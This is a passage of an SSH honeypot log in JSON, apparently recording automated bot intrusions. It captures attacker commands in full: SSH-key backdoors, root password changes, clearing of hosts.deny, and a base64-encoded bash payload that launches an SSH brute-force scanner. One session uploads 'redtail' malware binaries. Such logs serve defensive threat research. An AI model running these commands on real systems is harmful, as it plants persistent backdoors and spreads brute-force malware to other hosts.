\"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-25T21:16:25.637152+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T21:16:25.637772+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"1qaz@WSX,./","method":"password","accepted":true,"tier":"other"}]} {"id":"363f34e1-fc48-42df-a921-01e431b5c77e","name":"wandering-coastal-squirrel","protocol":"ssh","channel_kind":"exec","src_ip":"124.156.173.135","src_port":51870,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":673,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T19:55:06.836657+00:00","ended_at":"2026-08-25T19:55:07.041931+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3981,"events":[{"seq":1,"at":"2026-08-25T19:54:27.338074+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T19:54:28.009697+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T19:54:33.233044+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T19:54:33.234025+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T19:54:33.906690+00:00","kind":"input","latency_ms":null,"data":"echo \"root:yhr90Ge8Aqz2\"|chpasswd|bash"},{"seq":6,"at":"2026-08-25T19:54:34.579498+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-25T19:54:34.700544+00:00","kind":"output","latency_ms":792,"data":""},{"seq":8,"at":"2026-08-25T19:54:35.252444+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-25T19:54:35.253733+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-25T19:54:35.929130+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-25T19:54:37.039038+00:00","kind":"output","latency_ms":1112,"data":"15888 2310 13578 0 0 0"},{"seq":12,"at":"2026-08-25T19:54:37.712648+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-25T19:54:38.390449+00:00","kind":"output","latency_ms":677,"data":"-rwxr-xr-x 1 root root 148K Jan 24 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-25T19:54:39.064053+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T19:54:39.064619+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-25T19:54:39.738599+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-25T19:54:39.739025+00:00","kind":"output","latency_ms":null,"data":" 19:54:39 up 5 days, 16:44, 0 user, load average: 0.03, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-25T19:54:40.412047+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-25T19:54:40.412370+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-25T19:54:41.084903+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-25T19:54:41.085735+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-25T19:54:41.759286+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-25T19:54:41.759935+00:00","kind":"output","latency_ms":null,"data":"top - 19:54:41 up 5 days, 16:44, 0 user, load average: 0.03, 0.03, 0.02\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-25T19:54:42.433212+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-25T19:54:42.433503+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-25T19:54:43.106862+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-25T19:54:43.113794+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-25T19:54:43.779456+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-25T19:54:43.780101+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-25T19:54:44.453835+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-25T19:54:45.427286+00:00","kind":"output","latency_ms":972,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-25T19:54:46.100828+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-25T19:54:46.679963+00:00","kind":"output","latency_ms":577,"data":"24G"},{"seq":34,"at":"2026-08-25T19:54:48.757758+00:00","kind":"input","latency_ms":null,"data":"echo \"root Dev@1234\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-25T19:54:49.430439+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-25T19:54:50.601724+00:00","kind":"output","latency_ms":1170,"data":""},{"seq":37,"at":"2026-08-25T19:54:51.828939+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-25T19:54:52.548915+00:00","kind":"output","latency_ms":719,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-25T19:54:53.222781+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-25T19:54:53.925904+00:00","kind":"output","latency_ms":702,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-25T19:54:54.602499+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T19:54:55.269711+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-25T19:54:56.105915+00:00","kind":"output","latency_ms":835,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-25T19:54:56.780857+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-25T19:54:57.348907+00:00","kind":"output","latency_ms":568,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-25T19:54:58.024926+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-25T19:54:58.507116+00:00","kind":"output","latency_ms":483,"data":""},{"seq":48,"at":"2026-08-25T19:55:06.840987+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-25T19:55:06.843220+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Dev@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"21a6be9d-04e1-44e7-a6fa-1e58ed3cf3d4","name":"smooth-wandering-oryx","protocol":"ssh","channel_kind":"sftp","src_ip":"77.90.185.20","src_port":57298,"username":"root","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n","started_at":"2026-08-25T14:30:34.810048+00:00","ended_at":"2026-08-25T14:30:35.596959+00:00","ended_reason":"exec complete","commands":8,"transcript_bytes":994,"events":[{"seq":1,"at":"2026-08-25T14:30:34.680906+00:00","kind":"input","latency_ms":null,"data":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n"},{"seq":2,"at":"2026-08-25T14:30:34.912349+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/clean.sh (1157 bytes)"},{"seq":3,"at":"2026-08-25T14:30:35.395358+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.arm7 (1448252 bytes)"},{"seq":4,"at":"2026-08-25T14:30:35.596238+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/setup.sh (2126 bytes)"},{"seq":5,"at":"2026-08-25T14:30:35.598124+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.arm8 (1696412 bytes)"},{"seq":6,"at":"2026-08-25T14:30:35.598947+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.i686 (1838060 bytes)"},{"seq":7,"at":"2026-08-25T14:30:35.599610+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.riscv (1759768 bytes)"},{"seq":8,"at":"2026-08-25T14:30:35.600303+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.x86_64 (1989056 bytes)"}],"credentials":[{"username":"root","password":"Zz123456","method":"password","accepted":true,"tier":"other"}]} {"id":"02a89e4b-0910-4990-96c9-bce5bab983df","name":"restless-vigilant-skua","protocol":"ssh","channel_kind":"exec","src_ip":"216.10.242.215","src_port":49222,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":618,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T12:51:28.687254+00:00","ended_at":"2026-08-25T12:51:28.877929+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3437,"events":[{"seq":1,"at":"2026-08-25T12:50:45.824473+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T12:50:46.444628+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T12:50:52.704460+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T12:50:52.704787+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T12:50:53.322957+00:00","kind":"input","latency_ms":null,"data":"echo \"root:6mPOyguPkxby\"|chpasswd|bash"},{"seq":6,"at":"2026-08-25T12:50:53.964598+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-25T12:50:54.094300+00:00","kind":"output","latency_ms":771,"data":""},{"seq":8,"at":"2026-08-25T12:50:54.579847+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-25T12:50:54.580202+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-25T12:50:55.198711+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-25T12:50:56.400296+00:00","kind":"output","latency_ms":1201,"data":"15888 3241 9743 143 2902 0"},{"seq":12,"at":"2026-08-25T12:50:57.019093+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-25T12:50:58.318464+00:00","kind":"output","latency_ms":1299,"data":"-rwxr-xr-x 1 root root 142K Mar 25 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-25T12:50:58.936462+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T12:50:58.937340+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-25T12:50:59.554640+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-25T12:50:59.555303+00:00","kind":"output","latency_ms":null,"data":" 12:50:59 up 5 days, 9:41, 0 user, load average: 0.26, 0.34, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-25T12:51:00.173781+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-25T12:51:00.174274+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-25T12:51:00.802062+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-25T12:51:00.802543+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-25T12:51:01.422763+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-25T12:51:01.423301+00:00","kind":"output","latency_ms":null,"data":"top - 12:51:01 up 5 days, 9:41, 0 user, load average: 0.26, 0.34, 0.22\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-25T12:51:02.041795+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-25T12:51:02.042329+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-25T12:51:02.659013+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-25T12:51:02.659661+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-25T12:51:03.275561+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-25T12:51:03.276218+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-25T12:51:03.892384+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-25T12:51:04.515794+00:00","kind":"output","latency_ms":622,"data":"Model name: AMD EPYC 7713 64-Core Processor x8"},{"seq":32,"at":"2026-08-25T12:51:05.134686+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-25T12:51:05.984922+00:00","kind":"output","latency_ms":849,"data":"24G"},{"seq":34,"at":"2026-08-25T12:51:07.970702+00:00","kind":"input","latency_ms":null,"data":"echo \"root Ruibo2014!@#\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-25T12:51:08.588308+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-25T12:51:09.279628+00:00","kind":"output","latency_ms":690,"data":""},{"seq":37,"at":"2026-08-25T12:51:10.802889+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-25T12:51:11.555760+00:00","kind":"output","latency_ms":748,"data":"horsefeed: oats=120 hay=84 water=restocked\n"},{"seq":39,"at":"2026-08-25T12:51:12.170468+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-25T12:51:12.645107+00:00","kind":"output","latency_ms":474,"data":"horsefeed: oats=120 hay=84 water=restocked"},{"seq":41,"at":"2026-08-25T12:51:13.264657+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T12:51:13.883515+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-25T12:51:14.640887+00:00","kind":"output","latency_ms":756,"data":"horsefeed: oats=120 hay=84 water=restocked"},{"seq":44,"at":"2026-08-25T12:51:15.259614+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-25T12:51:16.085905+00:00","kind":"output","latency_ms":825,"data":"horsefeed: oats=120 hay=84 water=restocked"},{"seq":46,"at":"2026-08-25T12:51:16.704061+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-25T12:51:28.689600+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T12:51:28.690388+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Ruibo2014!@#","method":"password","accepted":true,"tier":"other"}]} {"id":"720af6ad-98e8-4b27-a642-3b871d4b908a","name":"dapper-clever-hummingbird","protocol":"ssh","channel_kind":"exec","src_ip":"43.165.190.208","src_port":34868,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":558,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T22:07:11.630448+00:00","ended_at":"2026-08-24T22:07:11.802058+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":6826,"events":[{"seq":1,"at":"2026-08-24T22:06:33.094630+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T22:06:33.653966+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T22:06:38.865122+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T22:06:38.865532+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T22:06:39.424622+00:00","kind":"input","latency_ms":null,"data":"echo \"root:lEyGOCMQl3og\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T22:06:39.863101+00:00","kind":"output","latency_ms":438,"data":""},{"seq":7,"at":"2026-08-24T22:06:39.980970+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-24T22:06:40.538144+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-24T22:06:40.538843+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-24T22:06:41.097574+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-24T22:06:41.659083+00:00","kind":"output","latency_ms":561,"data":"15888 121 15767 0 0 